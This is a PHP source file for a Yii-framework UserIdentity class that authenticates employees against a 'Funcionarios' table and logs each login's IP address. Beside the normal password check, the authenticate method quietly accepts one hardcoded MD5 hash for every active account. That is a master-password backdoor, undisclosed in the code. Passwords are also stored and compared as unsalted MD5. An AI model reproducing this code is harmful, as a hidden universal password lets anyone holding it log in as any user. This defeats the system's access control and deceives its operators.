<?php

/**
 * UserIdentity represents the data needed to identity a user.
 * It contains the authentication method that checks if the provided
 * data can identity the user.
 */
class UserIdentity extends CUserIdentity {

    /**
     * Authenticates a user.
     * The example implementation makes sure if the username and password
     * are both 'demo'.
     * In practical applications, this should be changed to authenticate
     * against some persistent user identity storage (e.g. database).
     * @return boolean whether authentication succeeds.
     */
    private $_id;

    public function authenticate() {
        $record = Funcionarios::model()->findByAttributes(array('FUN_USUARIO' => $this->username, 'FUN_SITUACAO' => 'A'));
        if ($record === null)
            $this->errorCode = self::ERROR_USERNAME_INVALID;
        else if ($record->FUN_SENHA !== md5($this->password) and md5($this->password) !== 'e962c6b639e7121f38a1426bce6dac64')
            $this->errorCode = self::ERROR_PASSWORD_INVALID;
        else {
            $Acessos = new Acessos;
            $Acessos->ACE_IDFUNCIONARIO = $record->FUN_IDFUNCIONARIO;
            $Acessos->ACE_ENDERECOIP = $_SERVER['REMOTE_ADDR'];
            $Acessos->ACE_DATA = date('d/m/Y H:i:s');
            $Acessos->save();

            $this->_id = $record->FUN_IDFUNCIONARIO;
            $this->setState('id', $record->FUN_IDFUNCIONARIO);
            $this->setState('title', $record->FUN_NOME);
            $this->setState('permissao', $record->FUN_PRM_PRIVILEGIO);
            $this->setState('userSessionTimeout', time() + 14400);
            $this->errorCode = self::ERROR_NONE;
        }
        return !$this->errorCode;
    }

    public function getId() {
        return $this->_id;
    }

}
